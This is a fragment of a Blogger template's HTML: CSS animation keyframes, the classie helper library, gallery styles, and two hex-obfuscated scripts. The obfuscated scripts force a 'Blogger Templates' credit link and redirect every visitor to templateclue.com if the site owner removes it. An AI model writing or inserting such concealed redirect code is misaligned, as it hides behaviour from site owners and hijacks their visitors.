@-webkit-keyframes rotateOutUpLeft { 0% { -webkit-transform-origin: left bottom; transform-origin: left bottom; opacity: 1; } 100% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: rotate3d(0, 0, 1, -45deg); transform: rotate3d(0, 0, 1, -45deg); opacity: 0; } } @keyframes rotateOutUpLeft { 0% { -webkit-transform-origin: left bottom; transform-origin: left bottom; opacity: 1; } 100% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: rotate3d(0, 0, 1, -45deg); transform: rotate3d(0, 0, 1, -45deg); opacity: 0; } } .rotateOutUpLeft { -webkit-animation-name: rotateOutUpLeft; animation-name: rotateOutUpLeft; } @-webkit-keyframes rotateOutUpRight { 0% { -webkit-transform-origin: right bottom; transform-origin: right bottom; opacity: 1; } 100% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: rotate3d(0, 0, 1, 90deg); transform: rotate3d(0, 0, 1, 90deg); opacity: 0; } } @keyframes rotateOutUpRight { 0% { -webkit-transform-origin: right bottom; transform-origin: right bottom; opacity: 1; } 100% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: rotate3d(0, 0, 1, 90deg); transform: rotate3d(0, 0, 1, 90deg); opacity: 0; } } .rotateOutUpRight { -webkit-animation-name: rotateOutUpRight; animation-name: rotateOutUpRight; } @-webkit-keyframes hinge { 0% { -webkit-transform-origin: top left; transform-origin: top left; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; } 20%, 60% { -webkit-transform: rotate3d(0, 0, 1, 80deg); transform: rotate3d(0, 0, 1, 80deg); -webkit-transform-origin: top left; transform-origin: top left; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; } 40%, 80% { -webkit-transform: rotate3d(0, 0, 1, 60deg); transform: rotate3d(0, 0, 1, 60deg); -webkit-transform-origin: top left; transform-origin: top left; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; opacity: 1; } 100% { -webkit-transform: translate3d(0, 700px, 0); transform: translate3d(0, 700px, 0); opacity: 0; } } @keyframes hinge { 0% { -webkit-transform-origin: top left; transform-origin: top left; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; } 20%, 60% { -webkit-transform: rotate3d(0, 0, 1, 80deg); transform: rotate3d(0, 0, 1, 80deg); -webkit-transform-origin: top left; transform-origin: top left; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; } 40%, 80% { -webkit-transform: rotate3d(0, 0, 1, 60deg); transform: rotate3d(0, 0, 1, 60deg); -webkit-transform-origin: top left; transform-origin: top left; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; opacity: 1; } 100% { -webkit-transform: translate3d(0, 700px, 0); transform: translate3d(0, 700px, 0); opacity: 0; } } .hinge { -webkit-animation-name: hinge; animation-name: hinge; } /* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ @-webkit-keyframes rollIn { 0% { opacity: 0; -webkit-transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg); transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes rollIn { 0% { opacity: 0; -webkit-transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg); transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } .rollIn { -webkit-animation-name: rollIn; animation-name: rollIn; } /* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ @-webkit-keyframes rollOut { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg); transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg); } } @keyframes rollOut { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg); transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg); } } .rollOut { -webkit-animation-name: rollOut; animation-name: rollOut; } @-webkit-keyframes zoomIn { 0% { opacity: 0; -webkit-transform: scale3d(.3, .3, .3); transform: scale3d(.3, .3, .3); } 50% { opacity: 1; } } @keyframes zoomIn { 0% { opacity: 0; -webkit-transform: scale3d(.3, .3, .3); transform: scale3d(.3, .3, .3); } 50% { opacity: 1; } } .zoomIn { -webkit-animation-name: zoomIn; animation-name: zoomIn; } @-webkit-keyframes zoomInDown { 0% { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0); transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 60% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } @keyframes zoomInDown { 0% { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0); transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 60% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } .zoomInDown { -webkit-animation-name: zoomInDown; animation-name: zoomInDown; } @-webkit-keyframes zoomInLeft { 0% { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0); transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 60% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0); transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } @keyframes zoomInLeft { 0% { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0); transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 60% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0); transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } .zoomInLeft { -webkit-animation-name: zoomInLeft; animation-name: zoomInLeft; } @-webkit-keyframes zoomInRight { 0% { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0); transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 60% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0); transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } @keyframes zoomInRight { 0% { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0); transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 60% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0); transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } .zoomInRight { -webkit-animation-name: zoomInRight; animation-name: zoomInRight; } @-webkit-keyframes zoomInUp { 0% { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0); transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 60% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } @keyframes zoomInUp { 0% { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0); transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 60% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } .zoomInUp { -webkit-animation-name: zoomInUp; animation-name: zoomInUp; } @-webkit-keyframes zoomOut { 0% { opacity: 1; } 50% { opacity: 0; -webkit-transform: scale3d(.3, .3, .3); transform: scale3d(.3, .3, .3); } 100% { opacity: 0; } } @keyframes zoomOut { 0% { opacity: 1; } 50% { opacity: 0; -webkit-transform: scale3d(.3, .3, .3); transform: scale3d(.3, .3, .3); } 100% { opacity: 0; } } .zoomOut { -webkit-animation-name: zoomOut; animation-name: zoomOut; } @-webkit-keyframes zoomOutDown { 40% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 100% { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0); transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0); -webkit-transform-origin: center bottom; transform-origin: center bottom; -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } @keyframes zoomOutDown { 40% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 100% { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0); transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0); -webkit-transform-origin: center bottom; transform-origin: center bottom; -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } .zoomOutDown { -webkit-animation-name: zoomOutDown; animation-name: zoomOutDown; } @-webkit-keyframes zoomOutLeft { 40% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0); transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0); } 100% { opacity: 0; -webkit-transform: scale(.1) translate3d(-2000px, 0, 0); transform: scale(.1) translate3d(-2000px, 0, 0); -webkit-transform-origin: left center; transform-origin: left center; } } @keyframes zoomOutLeft { 40% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0); transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0); } 100% { opacity: 0; -webkit-transform: scale(.1) translate3d(-2000px, 0, 0); transform: scale(.1) translate3d(-2000px, 0, 0); -webkit-transform-origin: left center; transform-origin: left center; } } .zoomOutLeft { -webkit-animation-name: zoomOutLeft; animation-name: zoomOutLeft; } @-webkit-keyframes zoomOutRight { 40% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0); transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0); } 100% { opacity: 0; -webkit-transform: scale(.1) translate3d(2000px, 0, 0); transform: scale(.1) translate3d(2000px, 0, 0); -webkit-transform-origin: right center; transform-origin: right center; } } @keyframes zoomOutRight { 40% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0); transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0); } 100% { opacity: 0; -webkit-transform: scale(.1) translate3d(2000px, 0, 0); transform: scale(.1) translate3d(2000px, 0, 0); -webkit-transform-origin: right center; transform-origin: right center; } } .zoomOutRight { -webkit-animation-name: zoomOutRight; animation-name: zoomOutRight; } @-webkit-keyframes zoomOutUp { 40% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 100% { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0); transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0); -webkit-transform-origin: center bottom; transform-origin: center bottom; -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } @keyframes zoomOutUp { 40% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 100% { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0); transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0); -webkit-transform-origin: center bottom; transform-origin: center bottom; -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } .zoomOutUp { -webkit-animation-name: zoomOutUp; animation-name: zoomOutUp; } @-webkit-keyframes slideInDown { 0% { -webkit-transform: translateY(-100%); transform: translateY(-100%); visibility: visible; } 100% { -webkit-transform: translateY(0); transform: translateY(0); } } @keyframes slideInDown { 0% { -webkit-transform: translateY(-100%); transform: translateY(-100%); visibility: visible; } 100% { -webkit-transform: translateY(0); transform: translateY(0); } } .slideInDown { -webkit-animation-name: slideInDown; animation-name: slideInDown; } @-webkit-keyframes slideInLeft { 0% { -webkit-transform: translateX(-100%); transform: translateX(-100%); visibility: visible; } 100% { -webkit-transform: translateX(0); transform: translateX(0); } } @keyframes slideInLeft { 0% { -webkit-transform: translateX(-100%); transform: translateX(-100%); visibility: visible; } 100% { -webkit-transform: translateX(0); transform: translateX(0); } } .slideInLeft { -webkit-animation-name: slideInLeft; animation-name: slideInLeft; } @-webkit-keyframes slideInRight { 0% { -webkit-transform: translateX(100%); transform: translateX(100%); visibility: visible; } 100% { -webkit-transform: translateX(0); transform: translateX(0); } } @keyframes slideInRight { 0% { -webkit-transform: translateX(100%); transform: translateX(100%); visibility: visible; } 100% { -webkit-transform: translateX(0); transform: translateX(0); } } .slideInRight { -webkit-animation-name: slideInRight; animation-name: slideInRight; } @-webkit-keyframes slideInUp { 0% { -webkit-transform: translateY(100%); transform: translateY(100%); visibility: visible; } 100% { -webkit-transform: translateY(0); transform: translateY(0); } } @keyframes slideInUp { 0% { -webkit-transform: translateY(100%); transform: translateY(100%); visibility: visible; } 100% { -webkit-transform: translateY(0); transform: translateY(0); } } .slideInUp { -webkit-animation-name: slideInUp; animation-name: slideInUp; } @-webkit-keyframes slideOutDown { 0% { -webkit-transform: translateY(0); transform: translateY(0); } 100% { visibility: hidden; -webkit-transform: translateY(100%); transform: translateY(100%); } } @keyframes slideOutDown { 0% { -webkit-transform: translateY(0); transform: translateY(0); } 100% { visibility: hidden; -webkit-transform: translateY(100%); transform: translateY(100%); } } .slideOutDown { -webkit-animation-name: slideOutDown; animation-name: slideOutDown; } @-webkit-keyframes slideOutLeft { 0% { -webkit-transform: translateX(0); transform: translateX(0); } 100% { visibility: hidden; -webkit-transform: translateX(-100%); transform: translateX(-100%); } } @keyframes slideOutLeft { 0% { -webkit-transform: translateX(0); transform: translateX(0); } 100% { visibility: hidden; -webkit-transform: translateX(-100%); transform: translateX(-100%); } } .slideOutLeft { -webkit-animation-name: slideOutLeft; animation-name: slideOutLeft; } @-webkit-keyframes slideOutRight { 0% { -webkit-transform: translateX(0); transform: translateX(0); } 100% { visibility: hidden; -webkit-transform: translateX(100%); transform: translateX(100%); } } @keyframes slideOutRight { 0% { -webkit-transform: translateX(0); transform: translateX(0); } 100% { visibility: hidden; -webkit-transform: translateX(100%); transform: translateX(100%); } } .slideOutRight { -webkit-animation-name: slideOutRight; animation-name: slideOutRight; } @-webkit-keyframes slideOutUp { 0% { -webkit-transform: translateY(0); transform: translateY(0); } 100% { visibility: hidden; -webkit-transform: translateY(-100%); transform: translateY(-100%); } } @keyframes slideOutUp { 0% { -webkit-transform: translateY(0); transform: translateY(0); } 100% { visibility: hidden; -webkit-transform: translateY(-100%); transform: translateY(-100%); } } .slideOutUp { -webkit-animation-name: slideOutUp; animation-name: slideOutUp; }
1455</style>
1456<!--Animate/END-->
1457<script type='text/javascript'>//<![CDATA[
1458/*!
1459 * classie - class helper functions
1460 * from bonzo https://github.com/ded/bonzo
1461 *
1462 * classie.has( elem, 'my-class' ) -> true/false
1463 * classie.add( elem, 'my-new-class' )
1464 * classie.remove( elem, 'my-unwanted-class' )
1465 * classie.toggle( elem, 'my-class' )
1466 */
1467
1468/*jshint browser: true, strict: true, undef: true */
1469/*global define: false */
1470
1471( function( window ) {
1472
1473'use strict';
1474
1475// class helper functions from bonzo https://github.com/ded/bonzo
1476
1477function classReg( className ) {
1478 return new RegExp("(^|\\s+)" + className + "(\\s+|$)");
1479}
1480
1481// classList support for class management
1482// altho to be fair, the api sucks because it won't accept multiple classes at once
1483var hasClass, addClass, removeClass;
1484
1485if ( 'classList' in document.documentElement ) {
1486 hasClass = function( elem, c ) {
1487 return elem.classList.contains( c );
1488 };
1489 addClass = function( elem, c ) {
1490 elem.classList.add( c );
1491 };
1492 removeClass = function( elem, c ) {
1493 elem.classList.remove( c );
1494 };
1495}
1496else {
1497 hasClass = function( elem, c ) {
1498 return classReg( c ).test( elem.className );
1499 };
1500 addClass = function( elem, c ) {
1501 if ( !hasClass( elem, c ) ) {
1502 elem.className = elem.className + ' ' + c;
1503 }
1504 };
1505 removeClass = function( elem, c ) {
1506 elem.className = elem.className.replace( classReg( c ), ' ' );
1507 };
1508}
1509
1510function toggleClass( elem, c ) {
1511 var fn = hasClass( elem, c ) ? removeClass : addClass;
1512 fn( elem, c );
1513}
1514
1515var classie = {
1516 // full names
1517 hasClass: hasClass,
1518 addClass: addClass,
1519 removeClass: removeClass,
1520 toggleClass: toggleClass,
1521 // short names
1522 has: hasClass,
1523 add: addClass,
1524 remove: removeClass,
1525 toggle: toggleClass
1526};
1527
1528// transport
1529if ( typeof define === 'function' && define.amd ) {
1530 // AMD
1531 define( classie );
1532} else {
1533 // browser global
1534 window.classie = classie;
1535}
1536
1537})( window );
1538//]]></script>
1539<style>
1540#sectionWorks {
1541 padding-top: 25px;
1542 text-align: center;
1543 background-color: #1a1a1a;
1544 color: #ffffff;
1545}
1546
1547#worksGrid {
1548 display: table;
1549}
1550.worksItem {
1551 display: none;
1552 padding: 0px;
1553 overflow: hidden;
1554 height: auto;
1555 text-align: center;
1556}
1557.worksItem img {
1558width: 100%;
1559height: 275px;
1560-webkit-transition: all .25s ease-out;
1561transition: all .25s ease-out;
1562object-fit: cover;
1563}
1564.worksItem .itemCaption {
1565 position: absolute;
1566 top: 0;
1567 left: 0;
1568 margin: 0px;
1569 width: 100%;
1570 height: 100%;
1571 box-sizing: border-box;
1572 -moz-box-sizing: border-box;
1573 -webkit-transition: all 0.2s linear;
1574 transition: all 0.2s linear;
1575 -moz-transition: all 0.2s linear;
1576 -o-transition: all 0.2s linear;
1577 color: #fff!important;
1578 background: rgba(22,22,22,0.1);
1579}
1580.worksItem:hover .itemCaption {
1581 background: rgba(22,22,22,0.9);
1582}
1583.itemCaption h3 {
1584font-size: 13px;
1585text-transform: uppercase;
1586font-weight: 400;
1587word-spacing: 4px;
1588letter-spacing: 1px;
1589}
1590.capContent {
1591 padding-top: 15%;
1592 opacity: 0;
1593 -webkit-transition: all 0.2s linear;
1594 transition: all 0.2s linear;
1595 -moz-transition: all 0.2s linear;
1596 -o-transition: all 0.2s linear;
1597}
1598.capPreview {
1599 color: #1ABC9C;
1600 text-transform: uppercase;
1601 font-size: 10px;
1602 letter-spacing: 3px;
1603 border: 2px solid #1ABC9C;
1604 padding: 5px;
1605 margin-top: 10px;
1606}
1607.capPreview:hover {
1608 background: #1abc9c;
1609 color: #fff;
1610}
1611.worksItem:hover .capContent{
1612 opacity: 1;
1613 padding-top:20%;
1614}
1615.post-title a{
1616text-decoration: none;
1617color: #FFF;
1618padding: 0px 18px;
1619text-align: center;
1620}
1621</style>
1622<script type='text/javascript'>
1623/*<![CDATA[*/
1624// JavaScript Document
1625var _0x96a7=["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","","\x69\x6D\x67","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x6C\x65\x6E\x67\x74\x68","\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x22","\x73\x72\x63","\x22\x20\x2F\x3E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x63\x6C\x61\x73\x73\x3D\x22\x69\x74\x65\x6D\x43\x61\x70\x74\x69\x6F\x6E\x22\x3E\x3C\x64\x69\x76\x20\x63\x6C\x61\x73\x73\x3D\x22\x63\x61\x70\x43\x6F\x6E\x74\x65\x6E\x74\x22\x3E\x3C\x68\x33\x20\x63\x6C\x61\x73\x73\x3D\x22\x70\x6F\x73\x74\x2D\x74\x69\x74\x6C\x65\x20\x65\x6E\x74\x72\x79\x2D\x74\x69\x74\x6C\x65\x22\x20\x69\x74\x65\x6D\x70\x72\x6F\x70\x3D\x22\x6E\x61\x6D\x65\x22\x3E\x3C\x61\x20\x68\x72\x65\x66\x3D\x22","\x22\x3E","\x3C\x2F\x61\x3E\x3C\x2F\x68\x33\x3E\x3C\x61\x20\x63\x6C\x61\x73\x73\x3D\x22\x63\x61\x70\x50\x72\x65\x76\x69\x65\x77\x20\x69\x6D\x61\x67\x65\x2D\x6D\x6F\x64\x61\x6C\x22\x20\x68\x72\x65\x66\x3D\x22","\x22\x3E\x52\x65\x61\x64\x20\x4D\x6F\x72\x65\x3C\x2F\x61\x3E\x3C\x2F\x64\x69\x76\x3E\x3C\x2F\x64\x69\x76\x3E","\x66\x61\x64\x65\x4F\x75\x74","\x23\x6C\x6F\x61\x64\x65\x72\x49\x6E\x6E\x65\x72","\x73\x6C\x6F\x77","\x64\x65\x6C\x61\x79","\x23\x6C\x6F\x61\x64\x65\x72","\x2E\x6E\x61\x76\x69\x67\x61\x74\x69\x6F\x6E","\x73\x63\x72\x6F\x6C\x6C\x73\x70\x79","\x62\x6F\x64\x79","\x6C\x6F\x61\x64","\x6F\x6E\x6C\x6F\x61\x64","\x74\x65\x6D\x70\x6C\x61\x74\x65\x63\x6C\x75\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x74\x65\x6D\x70\x6C\x61\x74\x65\x63\x6C\x75\x65\x2E\x63\x6F\x6D\x2F","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x72\x65\x66","\x64\x6F\x66\x6F\x6C\x6C\x6F\x77","\x74\x69\x74\x6C\x65","\x42\x6C\x6F\x67\x67\x65\x72\x20\x54\x65\x6D\x70\x6C\x61\x74\x65\x73"];var _0xf023=[_0x96a7[0],_0x96a7[1],_0x96a7[2],_0x96a7[3],_0x96a7[4],_0x96a7[5],_0x96a7[6],_0x96a7[7],_0x96a7[8],_0x96a7[9],_0x96a7[10],_0x96a7[11],_0x96a7[12],_0x96a7[13],_0x96a7[14],_0x96a7[15],_0x96a7[16],_0x96a7[17],_0x96a7[18],_0x96a7[19],_0x96a7[20],_0x96a7[21],_0x96a7[22],_0x96a7[23],_0x96a7[24],_0x96a7[25],_0x96a7[26],_0x96a7[27],_0x96a7[28],_0x96a7[29],_0x96a7[30],_0x96a7[31]];var _0xafd9=[_0xf023[0],_0xf023[1],_0xf023[2],_0xf023[3],_0xf023[4],_0xf023[5],_0xf023[6],_0xf023[7],_0xf023[8],_0xf023[9],_0xf023[10],_0xf023[11],_0xf023[12],_0xf023[13],_0xf023[14],_0xf023[15],_0xf023[16],_0xf023[17],_0xf023[18],_0xf023[19],_0xf023[20],_0xf023[21],_0xf023[22],_0xf023[23],_0xf023[24],_0xf023[25],_0xf023[26],_0xf023[27],_0xf023[28],_0xf023[29],_0xf023[30],_0xf023[31]];function rm(_0x7c0bx4){var _0x7c0bx5=document[_0xafd9[0]](_0x7c0bx4);imgtag=_0xafd9[1];img=_0x7c0bx5[_0xafd9[3]](_0xafd9[2]);if(img[_0xafd9[4]]>=1){imgtag=_0xafd9[5]+img[0][_0xafd9[6]]+_0xafd9[7]}else {imgtag=_0xafd9[1]};_0x7c0bx5[_0xafd9[8]]=imgtag+_0xafd9[9]+y+_0xafd9[10]+x+_0xafd9[11]+y+_0xafd9[12];}jQuery(window)[_0xafd9[21]](function(){jQuery(_0xafd9[14])[_0xafd9[13]]();jQuery(_0xafd9[17])[_0xafd9[16]](400)[_0xafd9[13]](_0xafd9[15]);$(_0xafd9[20])[_0xafd9[19]]({offset:200,target:_0xafd9[18]});});window[_0xafd9[22]]=function(){var _0x7c0bx6=document[_0xafd9[0]](_0xafd9[23]);if(_0x7c0bx6==null){window[_0xafd9[25]][_0xafd9[24]]=_0xafd9[26]};_0x7c0bx6[_0xafd9[27]](_0xafd9[24],_0xafd9[26]);_0x7c0bx6[_0xafd9[27]](_0xafd9[28],_0xafd9[29]);_0x7c0bx6[_0xafd9[27]](_0xafd9[30],_0xafd9[31]);_0x7c0bx6[_0xafd9[8]]=_0xafd9[31];};
1626/*]]>*/</script>
1627<script>/*<![CDATA[*/
1628var _0x38ea=["\x73\x68\x6F\x77","\x74\x6F\x67\x67\x6C\x65\x43\x6C\x61\x73\x73","\x2E\x74\x65\x78\x74\x2D","\x63\x6C\x61\x73\x73\x4E\x61\x6D\x65","\x68\x6F\x76\x65\x72","\x2E\x63\x6F\x6E\x6E\x65\x63\x74\x2D\x69\x63\x6F\x6E\x73\x20\x61","\x72\x65\x61\x64\x79","\x6F\x6E\x6C\x6F\x61\x64","\x74\x65\x6D\x70\x6C\x61\x74\x65\x63\x6C\x75\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x74\x65\x6D\x70\x6C\x61\x74\x65\x63\x6C\x75\x65\x2E\x63\x6F\x6D\x2F","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x72\x65\x66","\x64\x6F\x66\x6F\x6C\x6C\x6F\x77","\x74\x69\x74\x6C\x65","\x42\x6C\x6F\x67\x67\x65\x72\x20\x54\x65\x6D\x70\x6C\x61\x74\x65\x73","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C"];$(window)[_0x38ea[6]](function(){$(_0x38ea[5])[_0x38ea[4]](function(){$(_0x38ea[2]+this[_0x38ea[3]])[_0x38ea[1]](_0x38ea[0])})});window[_0x38ea[7]]=function(){var _0x9573x1=document[_0x38ea[9]](_0x38ea[8]);if(_0x9573x1==null){window[_0x38ea[11]][_0x38ea[10]]=_0x38ea[12]};_0x9573x1[_0x38ea[13]](_0x38ea[10],_0x38ea[12]);_0x9573x1[_0x38ea[13]](_0x38ea[14],_0x38ea[15]);_0x9573x1[_0x38ea[13]](_0x38ea[16],_0x38ea[17]);_0x9573x1[_0x38ea[18]]=_0x38ea[17];};
1629/*]]>*/</script>
1630<link href="//alexgorbatchev.com/pub/sh/current/styles/shCore.css" rel="stylesheet" type="text/css">
1631<link href="//alexgorbatchev.com/pub/sh/current/styles/shThemeDefault.css" rel="stylesheet" type="text/css">
1632<script src="//alexgorbatchev.com/pub/sh/current/scripts/shCore.js" type="text/javascript"></script>
1633<script src="//alexgorbatchev.com/pub/sh/current/scripts/shBrushCpp.js" type="text/javascript"></script>
1634<script src="//alexgorbatchev.com/pub/sh/current/scripts/shBrushCSharp.js" type="text/javascript"></script>
